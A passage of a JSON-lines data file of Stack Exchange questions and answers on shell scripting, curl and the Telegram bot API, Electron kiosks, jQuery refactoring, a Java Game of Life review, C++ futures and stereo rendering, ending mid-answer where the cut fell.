{  "id": "_unix.243151"  , "question": "I am trying to run a packaged Electron application at startup to create a kiosk system.When i use it in a fresh install of Lubuntu all seems to work fine. When i install openbox and slim on Ubuntu server with the following packages mednafen mame git hsetroot python-software-properties software-properties-common xserver-xorg xserver-xorg-core xorg slim libsdl2-dev openbox libgtk2.0-0 libgconf-2-4 libnss3 i get the following error from this application.A JavaScript error occurred in the main processUncaught Exception:Error: Failed to set path    at Error (native)    at Object.<anonymous> (/home/arcadia/arcadia/resources/atom.asar/browser/lib/init.js:115:7)    at Object.<anonymous> (/home/arcadia/arcadia/resources/atom.asar/browser/lib/init.js:127:4)    at Module._compile (module.js:434:26)    at Object.Module._extensions..js (module.js:452:10)    at Module.load (module.js:355:32)    at Function.Module._load (module.js:310:12)    at Function.Module.runMain (module.js:475:10)    at startup (node.js:129:18)    at node.js:981:3Is there a fundamental difference between these two methods that i don't see? What could be the cause of being unable to run this application in this light environment? Would there be an alternative that i can install and try?"  , "title": "Difference lubuntu openbox-session: Asked because of aplication error"  , "tags": "ubuntu;desktop environment;openbox;application"  } 
{  "id": "_unix.329590"  , "question": "When writing a command with a - option and pressing tab, a list of possible completions with short explanations of what the options do is displayed. Is there a way to make this list also contain the currently typed option? E.g., writing grep -r and hitting tab displays-rA                               (Print NUM lines of trailing context)-ra                                       (Process binary file as text)-rB                                (Print NUM lines of leading context)-rb                                      (Print byte offset of matches)and 32 more rowsbut I would like it to display-r                       (Read files under each directory, recursively)-rA                               (Print NUM lines of trailing context)-ra                                       (Process binary file as text)-rB                                (Print NUM lines of leading context)-rb                                      (Print byte offset of matches)and 32 more rowsCheers,Hassanbot"  , "title": "Printing autocomplete info on current option in fish shell"  , "tags": "shell;autocomplete;options;fish"  } 
{  "id": "_unix.40332"  , "question": "I am writing a bash script to automatically generate some other files, and I have to format some strings a certain way. Specifically, the last problem I'm having is formatting a string that has individual capital letters and a word that starts with a capital letter. For example:O S D Settings needs to become OSD SettingsI have a sed command that strips the first space, but it also deletes the D (i.e. O S D Settings -> OS Settings). This command is: O S D Settings | sed 's/ \\([A-Z]\\)* \\(A-Za-z]*\\)/\\1/g'Does anyone know how to delete the spaces in between individual capital letters without losing any letters?"  , "title": "Strip spaces after single capital letters with sed"  , "tags": "bash;text processing;sed"  , "accepted_answer": "I ended up just using sed with pipes to get a statement that is easy for me to understand:echo O S D Settings | sed 's/\\([A-Z][^ ]\\)/_\\1/g' | sed 's/ //g' | sed 's/_/ /g'All this does is replaces the spaces I don't want with the underscore and then deletes them. Thanks for all the answers!"  } 
{  "id": "_unix.50215"  , "question": "The only calculator I know is bc. I want to add 1 to a variable, and output to another variable.I got the nextnum variable from counting string in a file:nextnum=`grep -o stringtocount file.tpl.php | wc -w`Lets say the nextnum value is 1. When added with 1, it will become 2. To calculate, I run:rownum=`$nextnum+1 | bc`but got error:1+1: command not foundI just failed in calculation part. I've tried changing the backtick but still not works. I have no idea how to calculate variables and output it to another variable."  , "title": "Calculate variable, and output it to another variable"  , "tags": "shell;arithmetic;bc;calculator"  , "accepted_answer": "The substring inside the ` ` must be a valid command itself:rownum=`echo $nextnum+1 | bc`But is preferable to use $( ) instead of ` `:rownum=$(echo $nextnum+1 | bc)But there is no need for bc, the shell is able to do integer arithmetic:rownum=$((nextnum+1))Or even simpler in bash and ksh:((rownum=nextnum+1))"  } 
{  "id": "_softwareengineering.187201"  , "question": "I am thinking of managing a product source I am doing using Codeigniter + HMVC.Right now my folder structure is something like this:application  |-modules      |-module1      |  |--controllers      |  |--models      |  |--views      |-module2      |  |--controllers      |  |--models      |  |--viewsassets  |-themes     |-default       |-module1       |  |-- module1 theme files       |-module2       |  |-- module2 theme filesI am thinking of cleaning this up and making the modules self contained at development time, like thisapplication |-- this will only contain the core files () |--modules (an empty directory OR core modules)modules  |-module1  |  |-controllers  |  |-models  |  |-themes  |  |  |-default  |  |  |  |-module1 default theme files  |  |-assets  |  |  |-css (css files for just this module)  |  |  |-js (js files just for this module)  |-module2  |--//same as aboveAnd then use Phing to build the project during which, the modules will be copied to respective folders, css files and js files will be minified (SCSS compiled) and images copied to respective folders.This looks great for deploying changes, but I think it will just increase development time, as every time I make any changes, I will have to build even to see it in development. Have any one used this approach to development using CI? or even better?I want to keep my core core more trackable and separate the modules for better version controlling, as I will be able to add those modules to the project as sub projects."  , "title": "Codeigniter modular separation with Phing"  , "tags": "php;continuous integration;codeigniter"  } 
{  "id": "_reverseengineering.14308"  , "question": "I'm trying to edit a Japanese Configuration executable using Resource Hacker and I just want to translate the UI stuff to English. There are also a few English text that I was able to find and successfully edit. My problem is that before the hex editor can properly display Kanji, I need a table for it (.tbl). Google only leads me to translating Japanese NES games which doesn't apply to what I'm trying to do.Also, the Japanese characters on the UI of the .exe file I'm trying to edit even if I have already installed the Japanese Language Pack -- I still need to set the Region > Format to Japan before the characters are properly displayed.I really hope someone can help me with this. :-/"  , "title": "How can I create an appropriate Japanese .tbl file for Hex Editing?"  , "tags": "hex;patching;binary editing"  } 
{  "id": "_webmaster.103935"  , "question": "We have a domain and a hosted website attached to it.For one of our product, we bought a second domain, which forward to our main website.Is there anyway to have search engine index or find that domain?"  , "title": "How to search index a domain forward?"  , "tags": "domains;search engines"  } 
{  "id": "_codereview.123117"  , "question": "Note: this is from a COMPLETED course. This is not a ploy to get help with homework, as I have already received a 100% on this assignment (last year). I just want to become a neater programmer. Can you please provide me with some stylistic feedback? Note, the assignment did not allow for the use of objects at the time and the dat files contained X's and .'s. X's = life, .'s = absence of life. It was an exercise to provide us practice with multi-dimensional arrays.package java_labs.GameOfLife;import java.util.Scanner;import java.io.*;public class GameOfLife {    final static int M = 25;    final static int N = 75;    public static void main(String[] args) {        char[][] oldBoard = new char[M + 2][N + 2];        char[][] newBoard = new char[M + 2][N + 2];        char[][] tempBoard = new char[M + 2][N + 2];        buildBoardFromFile(oldBoard, newBoard, tempBoard);        int generationCount = 0;        printBoard(oldBoard, generationCount); /* prints Generation #0 every time*/        boolean continueGame = true;        while (continueGame) {            if (isEmpty(oldBoard)) {                continueGame = false;            } else {                newBoard = getNextGeneration(oldBoard, newBoard);                if (isGenerationChanged(oldBoard, newBoard)) {                    tempBoard = copyArray(newBoard, tempBoard);                    Scanner input = new Scanner(System.in);                    String inputValue =  ;                    while ((!(inputValue.equalsIgnoreCase(Y)))                            && (!(inputValue.equalsIgnoreCase(Q)))) {                        System.out.print(\\nWould you like to see the next generation?\\n                                        + Enter 'Y' for yes or 'Q' to quit: );                        inputValue = input.next();                        if (inputValue.equalsIgnoreCase(Q)) {                            continueGame = false;                            System.out.println(\\nYou opted to quit.                                     + Game Over!\\n);                        } else if (inputValue.equalsIgnoreCase(Y)) {                            generationCount++;                            printBoard(newBoard, generationCount);                            oldBoard = tempBoard;                        } else {                            System.out.println(\\nInvalid option. Try again.);                        }                    }                } else {                    continueGame = false;                    generationCount++;                    System.out.println(\\n\\nGAME OVER! Generation #                                    + (generationCount)                                    +  is the same as Generation #                                    + (generationCount - 1)                                    + .\\nBelow is proof that Generation #                                    + (generationCount)                                    +  is the same as Generation #                                    + (generationCount - 1)                                    + \\nfor your reference:\\n);                    printBoard(newBoard, generationCount);                    System.out.println(\\n\\n\\nYou will now exit the program!\\n\\n\\n);                }            }        }    }    static void buildBoardFromFile(char[][] oldBoard, char[][] newBoard,            char[][] tempBoard) {        boolean inputInvalid = true;        Scanner fileReader = null;        File file = null;        String line = ;        boolean invalidNumberOfRowCol = false;        while (inputInvalid) {            Scanner consoleReader = new Scanner(System.in);            System.out.print(\\nWhich file do you want to open?);            String filename = consoleReader.next();            file = new File(filename);            try {                fileReader = new Scanner(file);                inputInvalid = false;            }            catch (Exception e) {                System.out.println(\\nError: File  + file                        +  does not exist! Try again:);            }        }        for (int row = 0; row < M; row++) {            try {                line = fileReader.nextLine();            }/* Accounts for files with too few rows */            catch (java.util.NoSuchElementException err) {                System.out.println(\\nError:  + file                        +  is not compatible with                        +  this program! Try adding  + (M - (row))                        +  rows to\\n + file +  to fix this issue.);                buildBoardFromFile(oldBoard, newBoard, tempBoard);                break;            }            for (int col = 0; col < N; col++) {                /* Added this code to account for files with too few columns */                try {                    oldBoard[row + 1][col + 1] = line.charAt(col);                }                catch (StringIndexOutOfBoundsException err) {                    System.out.println(\\nError:  + file                            +  is not compatible with this program!                            +  Try adding  + (N - line.length())                            +  characters to\\nrow # + (row + 1) +  in                             + file +  to fix this issue.);                    invalidNumberOfRowCol = true;                    break;                }            }        }/*         * Note this program will ignore data in file greater outside the         * maximum column size and row size. For example, if a row in the .dat         * file contains 76 characters and the maximum board size is 75, the         * 76th character in that row is ignored by the program's for loop. This         * assignment did not ask the user to address this issue. I did create         * additional error checking functionality outside the scope of the         * assignment for practice. See above.         */        if (invalidNumberOfRowCol)            buildBoardFromFile(oldBoard, newBoard, tempBoard);        setBoarder(oldBoard, newBoard, tempBoard);    }    /* Note boarder will always be . and will not change */    static void setBoarder(char[][] oldBoard, char[][] newBoard,            char[][] tempBoard) {        for (int row = 0; row <= M + 1; row++) {            for (int col = 0; col <= N + 1; col++) {                if (row == 0 || col == 0 || row == M + 1 || col == N + 1) {                    oldBoard[row][col] = '.';                    newBoard[row][col] = '.';                    tempBoard[row][col] = '.';                }            }        }    }    /* Checks for life on game board */    static boolean isEmpty(char[][] oldBoard) {        boolean noLife = true;        for (int row = 1; row <= M; row++) {            for (int col = 1; col <= N; col++) {                if (oldBoard[row][col] == 'X')                    noLife = false;            }        }        return noLife;    }    /* Identifies if a generation is different from its successor */    static boolean isGenerationChanged(char[][] oldBoard, char[][] newBoard) {        boolean continueGame = false;        for (int row = 1; row <= M; row++) {            for (int col = 1; col <= N; col++) {                if (oldBoard[row][col] != newBoard[row][col])                    continueGame = true;            }        }        return continueGame;    }    static void printBoard(char[][] board, int generationCount) {        if (isEmpty(board))            System.out.println(\\nEveryone is dead! Game over!\\n);        System.out.println(\\nGeneration # + generationCount + :);        for (int row = 1; row <= M; row++) {            for (int col = 1; col <= N; col++) {                System.out.print(board[row][col]);            }            System.out.print(\\n);        }    }    static char[][] getNextGeneration(char[][] oldBoard, char[][] newBoard) {        for (int row = 1; row <= M; row++) {            for (int col = 1; col <= N; col++) {                if ((oldBoard[row][col] == 'X' && (countNeighbors(oldBoard,                        row, col) == 2 || countNeighbors(oldBoard, row, col) == 3))                        || (oldBoard[row][col] == '.' && countNeighbors(                                oldBoard, row, col) == 3)) {                    newBoard[row][col] = 'X';                } else {                    newBoard[row][col] = '.';                }            }        }        return newBoard;    }    static char[][] copyArray(char[][] newBoard, char[][] tempBoard) {        for (int row = 0; row <= M + 1; row++) {            for (int col = 0; col <= N + 1; col++) {                tempBoard[row][col] = newBoard[row][col];            }        }        return tempBoard;    }    static int countNeighbors(char[][] board, int row, int col) {        int count = 0;        int tempRow = row;        int tempCol = col;        for (col = tempCol - 1; col <= tempCol + 1; col++) {            if (board[row - 1][col] == 'X')                count++;            if (board[row + 1][col] == 'X')                count++;        }        for (col = tempCol - 1; col <= tempCol + 1; col += 2) {            if (board[row][col] == 'X')                count++;        }        return count;    }}"  , "title": "The Game of Life that scored 100%"  , "tags": "java;game of life"  , "accepted_answer": "It's great that you strive to improve your skills, even though you already got a good score. OOPAn OOP language like Java makes it easy to encapsulate closely related data and operations in ADTs (abstract data types). An exercise like this screams for an ADT called Board. Methods with the word board in the name will naturally fit into the ADT, and instead of passing the char[][] parameters around everywhere, it could be hidden neatly inside the board, applying the good principles of encapsulation and information hiding. (Recommended reading: Code Complete chapter 6)Single responsibility principleA method should have one responsibility, one thing to do and do it well. Most of your method do multiple things. They can be split up to smaller methods. The result will be multiple shorter methods that are easier to understand and easier to understand.Reading from standard inputThe program reads from standard input in two places, and each time it creates a new Scanner instance. It would be better to create one scanner instance in the main method, and pass that to the methods that need it.Avoid pointless flag variablesThe flag variable continueGane here is unnecessary (like flag variables often are):    boolean continueGame = true;    while (continueGame) {        if (isEmpty(oldBoard)) {            continueGame = false;        }        // ...Instead of setting this variable to false, it would be simpler to just break out of the loop. Not doing so makes the program harder to read. Here, for example, if I want to verify what else will happen until the end of this cycle, I have to read the entire loop body. By breaking out right here right now, I will know that we're definitely out of the loop, the mental burden is greatly reduced.Another good example is in the other branch in this loop that sets the flag variable:            } else {                continueGame = false;                // ... many many lines of code                System.out.println(\\n\\n\\nYou will now exit the program!\\n\\n\\n);            }So the print statement tells me that we're exciting the loop. But on that line, far away from the statement where you set the flag, and far away from the statement of the loop, it's not obvious that we really will exit. That's an unnecessary mental burden. And making it obvious is easy:                System.out.println(\\n\\n\\nYou will now exit the program!\\n\\n\\n);                break;And as we never change the flag variable anymore, the loop condition can be simplified to true.Flag variables also often lead to overlooking performance issues, for example here:static boolean isGenerationChanged(char[][] oldBoard, char[][] newBoard) {    boolean continueGame = false;    for (int row = 1; row <= M; row++) {        for (int col = 1; col <= N; col++) {            if (oldBoard[row][col] != newBoard[row][col])                continueGame = true;        }    }    return continueGame;}Once the flag is set to true, it will never change, but the code continues to explore the entire board, instead of returning immediately.Magic valuesSome literal values appear at multiple places here and there, for example '.' and 'X'. It would be better to put these in constants with descriptive names."  } 
{  "id": "_codereview.111772"  , "question": "I have some JS code that when the user clicks the add button, some text is displayed to a textarea.The code seems to be working OK. However, I realize I must refactor the code so that I am using only the one on click function instead of the six that I have for each of the 6 add buttons.$('#row_split_id_cover_letter_details_first_paragraph').prepend('<div id=id_standard_suggestion_01 class=cover_letter_suggestion_content margin-bottom-15><span id=id_1a1 class=margin-bottom-15>Standard Sentence Number 1.1. </span><span class=cover_letter_suggestion_add_button><button id=id_add_standard_suggestion_paragragh01_01 class=btn btn-xs rounded btn-primary type=button>{% trans Add %}</button></span></div><div id=id_standard_suggestion_02 class=cover_letter_suggestion_content margin-bottom-15><span id=id_1a2 class=margin-bottom-15>Standard Sentence Number 1.2. </span><span class=cover_letter_suggestion_add_button><button id=id_add_standard_suggestion_paragragh01_02 class=btn btn-xs rounded btn-primary type=button>{% trans Add %}</button></span></div><div id=id_standard_suggestion_03 class=cover_letter_suggestion_content margin-bottom-15><span id=id_1a3 class=margin-bottom-15>Standard Sentence Number 1.3. </span><span class=cover_letter_suggestion_add_button><button id=id_add_standard_suggestion_paragragh01_03 class=btn btn-xs rounded btn-primary type=button>{% trans Add %}</button></span></div><div id=id_standard_suggestion_04 class=cover_letter_suggestion_content margin-bottom-15><span id=id_1a4 class=margin-bottom-15>Standard Sentence Number 1.4. </span><span class=cover_letter_suggestion_add_button><button id=id_add_standard_suggestion_paragragh01_04 class=btn btn-xs rounded btn-primary type=button>{% trans Add %}</button></span></div><div id=id_standard_suggestion_05 class=cover_letter_suggestion_content margin-bottom-15><span id=id_1a5 class=margin-bottom-15>Standard Sentence Number 1.5. </span><span class=cover_letter_suggestion_add_button><button id=id_add_standard_suggestion_paragragh01_05 class=btn btn-xs rounded btn-primary type=button>{% trans Add %}</button></span></div><div id=id_standard_suggestion_06 class=cover_letter_suggestion_content margin-bottom-15><span id=id_1a6 class=margin-bottom-15>Standard Sentence Number 1.6. </span><span class=cover_letter_suggestion_add_button><button id=id_add_standard_suggestion_paragragh01_06 class=btn btn-xs rounded btn-primary type=button>{% trans Add %}</button></span></div>');$(function () {    $('#id_add_standard_suggestion_paragragh01_01').on('click', function () {        var divTA1 = document.getElementById('id_cover_letter_details_first_paragraph');        var divGS1 = document.getElementById('id_1a1');        divTA1.innerHTML = divTA1.innerHTML + divGS1.innerHTML;    });    $('#id_add_standard_suggestion_paragragh01_02').on('click', function () {        var divTA1 = document.getElementById('id_cover_letter_details_first_paragraph');        var divGS1 = document.getElementById('id_1a2');        divTA1.innerHTML = divTA1.innerHTML + divGS1.innerHTML;    });    $('#id_add_standard_suggestion_paragragh01_03').on('click', function () {        var divTA1 = document.getElementById('id_cover_letter_details_first_paragraph');        var divGS1 = document.getElementById('id_1a3');        divTA1.innerHTML = divTA1.innerHTML + divGS1.innerHTML;    });    $('#id_add_standard_suggestion_paragragh01_04').on('click', function () {        var divTA1 = document.getElementById('id_cover_letter_details_first_paragraph');        var divGS1 = document.getElementById('id_1a4');        divTA1.innerHTML = divTA1.innerHTML + divGS1.innerHTML;    });    $('#id_add_standard_suggestion_paragragh01_05').on('click', function () {        var divTA1 = document.getElementById('id_cover_letter_details_first_paragraph');        var divGS1 = document.getElementById('id_1a5');        divTA1.innerHTML = divTA1.innerHTML + divGS1.innerHTML;    });    $('#id_add_standard_suggestion_paragragh01_06').on('click', function () {        var divTA1 = document.getElementById('id_cover_letter_details_first_paragraph');        var divGS1 = document.getElementById('id_1a6');        divTA1.innerHTML = divTA1.innerHTML + divGS1.innerHTML;    });});Here is a working fiddle."  , "title": "Displaying text on button click"  , "tags": "javascript;jquery"  , "accepted_answer": "Don't add HTML in DOM from jQuery, add it from server side.Changes in HTMLRemoved all ids as it is not usedRemoved redundant attribute type=button from buttons.Use HTML structure as follow:<div class=cover_letter_suggestion_content margin-bottom-15>    <span class=margin-bottom-15>Standard Sentence Number 1.1. </span>    <span class=cover_letter_suggestion_add_button>        <button class=btn btn-xs rounded btn-primary>{% trans Add %}</button>    </span></div><div class=cover_letter_suggestion_content margin-bottom-15>    <span class=margin-bottom-15>Standard Sentence Number 1.2. </span>    <span class=cover_letter_suggestion_add_button>        <button class=btn btn-xs rounded btn-primary>{% trans Add %}</button>    </span></div><div class=cover_letter_suggestion_content margin-bottom-15>    <span class=margin-bottom-15>Standard Sentence Number 1.3. </span>    <span class=cover_letter_suggestion_add_button>        <button class=btn btn-xs rounded btn-primary>{% trans Add %}</button>    </span></div><div class=cover_letter_suggestion_content margin-bottom-15>    <span class=margin-bottom-15>Standard Sentence Number 1.4. </span>    <span class=cover_letter_suggestion_add_button>        <button class=btn btn-xs rounded btn-primary>{% trans Add %}</button>    </span></div><div class=cover_letter_suggestion_content margin-bottom-15>    <span class=margin-bottom-15>Standard Sentence Number 1.5. </span>    <span class=cover_letter_suggestion_add_button>        <button class=btn btn-xs rounded btn-primary>{% trans Add %}</button>    </span></div><div class=cover_letter_suggestion_content margin-bottom-15>    <span class=margin-bottom-15>Standard Sentence Number 1.6. </span>    <span class=cover_letter_suggestion_add_button>        <button class=btn btn-xs rounded btn-primary>{% trans Add %}</button>    </span></div>JavascriptUse common class to bind event on all elements, cover_letter_suggestion_add_button in this caseUse the DOM traversal methods to get the elements corresponding to the clicked element, using $(this) to reference to clicked element and prev to get the previous sibling.Code:$(document).ready(function () {    $('.cover_letter_suggestion_add_button button').on('click', function () {        // Get text of the previous span element        var text = $(this).closest('.cover_letter_suggestion_add_button').prev().text();        $('#id_cover_letter_details_first_paragraph').val(function (i, oldVal) {            return oldVal + text; // Append the value of the prev. span to the textarea        });    });});Demo$(document).ready(function() {  $('.cover_letter_suggestion_add_button button').on('click', function() {    var text = $(this).closest('.cover_letter_suggestion_add_button')      .prev().text();    $('#id_cover_letter_details_first_paragraph').val(function(i, oldVal) {      return oldVal + text;    });  });});.cover_letter_suggestion_content {  background-color: #ededed;  border: 1px solid #a8a8a8;  padding: 10px;}.cover_letter_suggestion_add_button {  display: block;  text-align: right;}.textAreaSplit {  height: 200px;  max-height: 600px;  max-width: 50%;  min-height: 100px;  min-width: 50%;  resize: vertical;}.textAreaSplitContainer {  background-color: #f6f6f6;  border: 1px solid #d9d9d9;  display: inline-block;  height: 200px;  max-height: 600px;  max-width: 45%;  min-height: 100px;  min-width: 45%;  overflow: scroll;  overflow-x: hidden;  padding: 10px;  resize: none;  /* container is resized by resizing the textarea */  vertical-align: top;}<script src=https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js></script><div id=row_id_cover_letter_details_first_paragraph class=form-group  >  <label for=id_cover_letter_details_first_paragraph class=control-label >Paragraph 1:</label>  <div class=controls >    <span id=row_id_cover_letter_details_first_paragraph>            <textarea cols=40 data-parsley-maxlength=2000 id=id_cover_letter_details_first_paragraph maxlength=2000 name=cover_letter_details_first_paragraph rows=10 class=textAreaSplit kmw-disabled keymanweb-font data-parsley-id=8695 data-parsley-required=false></textarea>            <span class=parsley-errors-list id=parsley-id-8695></span>    </span>    <p class=help-block>2,000 character limit</p>  </div>  <div class=cover_letter_suggestion_content margin-bottom-15>    <span class=margin-bottom-15>Standard Sentence Number 1.1. </span>    <span class=cover_letter_suggestion_add_button>            <button class=btn btn-xs rounded btn-primary>{% trans Add %}</button>        </span>  </div>  <div class=cover_letter_suggestion_content margin-bottom-15>    <span class=margin-bottom-15>Standard Sentence Number 1.2. </span>    <span class=cover_letter_suggestion_add_button>            <button class=btn btn-xs rounded btn-primary>{% trans Add %}</button>        </span>  </div>  <div class=cover_letter_suggestion_content margin-bottom-15>    <span class=margin-bottom-15>Standard Sentence Number 1.3. </span>    <span class=cover_letter_suggestion_add_button>            <button class=btn btn-xs rounded btn-primary>{% trans Add %}</button>        </span>  </div>  <div class=cover_letter_suggestion_content margin-bottom-15>    <span class=margin-bottom-15>Standard Sentence Number 1.4. </span>    <span class=cover_letter_suggestion_add_button>            <button class=btn btn-xs rounded btn-primary>{% trans Add %}</button>        </span>  </div>  <div class=cover_letter_suggestion_content margin-bottom-15>    <span class=margin-bottom-15>Standard Sentence Number 1.5. </span>    <span class=cover_letter_suggestion_add_button>            <button class=btn btn-xs rounded btn-primary>{% trans Add %}</button>        </span>  </div>  <div class=cover_letter_suggestion_content margin-bottom-15>    <span class=margin-bottom-15>Standard Sentence Number 1.6. </span>    <span class=cover_letter_suggestion_add_button>            <button class=btn btn-xs rounded btn-primary>{% trans Add %}</button>        </span>  </div></div>"  } 
{  "id": "_unix.251960"  , "question": "I've been using curl -XPOST to post some links to a Telegram channel via a bot api/key, the urls are in form of https://site/x/pre_encoded_string, where pre_encoded_string is in form (real samples) XOsmY90GWWA, 4QHTV_K_WwQ, and they're generated from perl's MIME::Base64 encode_base64url function.This fails when the generated string contains the underscore char _ (as in second sample above), which gets stripped, and curl seems to post 4QHTVKWwQEven if I get rid of --data-* (binary,raw,urlencode) and pass the string in the url, it gets stripped also.ais@rex ~ # curl -vv -s -XPOST 'https://api.telegram.org/bot1[...]4:AAE[...]Ggd3g/sendMessage?parse_mode=Markdown&chat_id=@xt2RM' --data-urlencode 'text=https://xt2/x/4QHTV_K_WwQ'*   Trying 149.154.167.198...* Connected to api.telegram.org (149.154.167.198) port 443 (#0)* Initializing NSS with certpath: none*   CAfile: /etc/ssl/certs/ca-certificates.crt CApath: none* NPN, server accepted to use http/1.1* SSL connection using TLS_RSA_WITH_AES_128_GCM_SHA256* Server certificate:*       subject: CN=api.telegram.org,OU=Domain Control Validated*       start date: May 23 16:17:38 2015 GMT*       expire date: May 23 16:17:38 2018 GMT*       common name: api.telegram.org*       issuer: CN=Go Daddy Secure Certificate Authority - G2,OU=http://certs.godaddy.com/repository/,O=GoDaddy.com, Inc.,L=Scottsdale,ST=Arizona,C=US> POST /bot1[...]4:A[...]ApJyf9Pg0/sendMessage?parse_mode=Markdown&chat_id=@xt2RM HTTP/1.1> Host: api.telegram.org> User-Agent: curl/7.43.0> Accept: */*> Content-Length: 55> Content-Type: application/x-www-form-urlencoded> * upload completely sent off: 55 out of 55 bytes< HTTP/1.1 200 OK< Server: nginx/1.9.1< Date: Mon, 28 Dec 2015 18:55:30 GMT< Content-Type: application/json< Content-Length: 193< Connection: keep-alive< Strict-Transport-Security: max-age=31536000; includeSubdomains< * Connection #0 to host api.telegram.org left intact{ok:true,result:{message_id:1506,chat:{id:-1[........]8,title:tty2RM,username:tty2RM,type:channel},date:1451328930,text:https:\\/\\/xt2\\/x\\/4QHTVKWwQ}}ais@rex ~ #Any clue as where my problem is?"  , "title": "curl --data-urlencode and underscores"  , "tags": "curl;character encoding;base64"  } 
{  "id": "_codereview.101232"  , "question": "I'm reinventing std::future from scratch (for an upcoming talk). I'd like to incorporate as many of the latest and most likely-to-succeed proposals as possible, and then also at least one additional feature that I haven't seen in any proposal yet: cancellation of tasks.The idea is that if I spawn a chain of tasks via async(x).then(y).then(z), and then (maybe after a while) drop the resulting future on the floor, I am indicating that I no longer care about the result of the chain of computations, and therefore the executor should not execute any of them that aren't already in progress. (For example, if it's still in the middle of executing x, it should finish x but not start y or z).I'd like feedback on the particular way I've chosen to implement this feature. Namely, I've added a new member to Future<T>: a shared_ptr named cancellable_task_state_. The caller can set this pointer via Future<T>::attach_cancellable_task_state(). When you create a PackagedTask from a function object, we make_shared a copy of your function object so that its lifetime is now controlled by the PackagedTask's stored Future; and then the thing that we enqueue with the scheduler is simply a wrapper around a weak_ptr.This way, the scheduler itself doesn't have to worry about descheduling tasks from the middle of the queue; but we still get deterministic destruction of the function objects controlled by a future.One downside (in my current way of thinking) is that destroying a Future can now cause a lot of code execution, because it might destroy a whole chain of user-defined function objects. These objects' destructors might even throw exceptions! This feels too much like spooky action at a distance for my taste. How does std::async currently deal with the fact that the user might supply a function object with a destructor that throws? Where would that exception show up?(FYI, all this code is also available on GitHub, although it may eventually bit-rot since I rewrite my git history frequently.)The tricky bits of cancellation are all in PackagedTask:template<class F>struct PackagedTask;template<class R, class... A>struct PackagedTask<R(A...)> {    UniqueFunction<void(A...)> task_;    Future<R> future_;    bool promise_already_satisfied_ = false;    PackagedTask() = default;    template<class F>    PackagedTask(F&& f) {        Promise<R> p;        future_ = p.get_future();        auto f_holder = [f = std::forward<F>(f)]() mutable { return std::move(f); };        auto sptr = std::make_shared<decltype(f_holder)>(std::move(f_holder));        std::weak_ptr<decltype(f_holder)> wptr = sptr;        future_.attach_cancellable_task_state(sptr);        task_ = [p = std::move(p), wptr = std::move(wptr)](A... args) mutable {            if (auto sptr = wptr.lock()) {                auto f = (*sptr)();                try {                    p.set_value(f(std::forward<A>(args)...));                } catch (...) {                    p.set_exception(std::current_exception());                }            }        };    }    bool valid() const { return task_; }    Future<R> get_future() {        if (!task_) throw no_state;        if (!future_.valid()) throw future_already_retrieved;        return std::move(future_);    }    void operator()(A... args) {        if (!task_) throw no_state;        if (promise_already_satisfied_) throw promise_already_satisfied;        promise_already_satisfied_ = true;        task_(std::forward<A>(args)...);    }};Future<T> is derived from SharedFuture<T>, which looks like this. Note that SharedState<T> is defined below; and that both the Promise and the Future (or the Promise and the several SharedFutures) hold shared_ptrs to the SharedState. This is for simplicity; I'm not interested in micro-optimizing the non-shared variant of Future unless it also reduces the absolute amount of source code.template<class R>struct SharedFuture {    std::shared_ptr<SharedState<R>> state_;    std::shared_ptr<void> cancellable_task_state_;    SharedFuture() {}    SharedFuture(std::shared_ptr<SharedState<R>> s) : state_(s) {}    R& get() const { ... }    bool valid() const { return (state_ != nullptr); }    bool ready() const { ... }    void wait() const { ... }    void attach_cancellable_task_state(std::shared_ptr<void> sptr) {        cancellable_task_state_ = std::move(sptr);    }    template<class F>    auto then(F func)    {        if (this->state_ == nullptr) throw no_state;        auto sp = this->state_;        using R2 = decltype(func(*this));        PackagedTask<R2()> task([func = std::move(func), fut = *this]() mutable {            return func(std::move(fut));        });        Future<R2> result = task.get_future();        std::lock_guard<std::mutex> lock(sp->mtx_);        if (sp->ready_) {            SystemScheduler().schedule(std::move(task));        } else {            sp->continuations_.emplace_back(std::move(task));        }        return result;    }};template<class R>struct Future : private SharedFuture<R> {    // differs only in minor details, such as the signature of get()};And here's Promise<T>:template<class R>struct SharedState {    R value_;    std::exception_ptr exception_;    bool ready_ = false;    std::mutex mtx_;    std::condition_variable cv_;    std::list<UniqueFunction<void()>> continuations_;};template<class R>struct Promise {    std::shared_ptr<SharedState<R>> state_;    bool future_already_retrieved_ = false;    Promise() : state_(new SharedState<R>) {}    Promise(const Promise&) = delete;    Promise& operator=(const Promise&) = delete;    Promise(Promise&&) = default;    Promise& operator=(Promise&& rhs) {        if (this != &rhs) abandon_state();        state_ = std::move(rhs.state_);        return *this;    }    ~Promise() { abandon_state(); }    Future<R> get_future() {        if (state_ == nullptr) throw no_state;        if (future_already_retrieved_) throw future_already_retrieved;        future_already_retrieved_ = true;        return Future<R>(state_);    }    void set_value(R r) {        if (state_ == nullptr) throw no_state;        if (state_->ready_) throw promise_already_satisfied;        state_->value_ = std::move(r);        set_ready();    }    void set_exception(std::exception_ptr p) {        if (state_ == nullptr) throw no_state;        if (state_->ready_) throw promise_already_satisfied;        state_->exception_ = std::move(p);        set_ready();    }    bool has_extant_future() const {        if (state_ == nullptr) return false;        return future_already_retrieved_ && !state_.unique();    }  private:    void set_ready() {        std::lock_guard<std::mutex> lock(state_->mtx_);        state_->ready_ = true;        for (auto& task : state_->continuations_) {            SystemScheduler().schedule(std::move(task));        }        state_->continuations_.clear();        state_->cv_.notify_all();    }    void abandon_state() {        if (state_ != nullptr && !state_->ready_) {            set_exception(std::make_exception_ptr(broken_promise));        }    }};"  , "title": "Cancellable futures, interaction with throwing destructors"  , "tags": "c++;reinventing the wheel;asynchronous;pointers;exception"  } 
{  "id": "_computergraphics.69"  , "question": "If rendering an image in 2D, adding depth of field effects (blurring objects further from the focal distance) adds realism and draws the eye to the object of the image. With a 3D (i.e. stereo) image, looking at an object in the image at a given depth will makes objects at all other depths defocused (not blurred, but incorrectly aligned by the eyes, giving a double image). This means that if depth of field effects are used, there will be conflicting results: looking at an object that is at a different depth will cause that depth to be the only depth not having a double image, but it is also a depth that is blurred. This gives the object a property of being focused upon, and a property of not being focused upon. In a 3d still image, are depth of field effects detrimental to the acceptance of the image by the eye, or are there ways around this?"  , "title": "Is depth of field incongruous in a 3D still image?"  , "tags": "depth of field;3d;stereo rendering"  , "accepted_answer": "In traditional stereo 3D, I don't believe that there is a way to make a fixed focal plane feel natural to the viewer. When looking at an out-of-focus object in stereo 3D, the object remains out-of-focus, causing conflicting cues. The lens in the eye tries to adjust to bring the object into focus, but of course it won't succeed, causing eye strain and headaches.However, there is hope outside stereo 3D: Lightfield 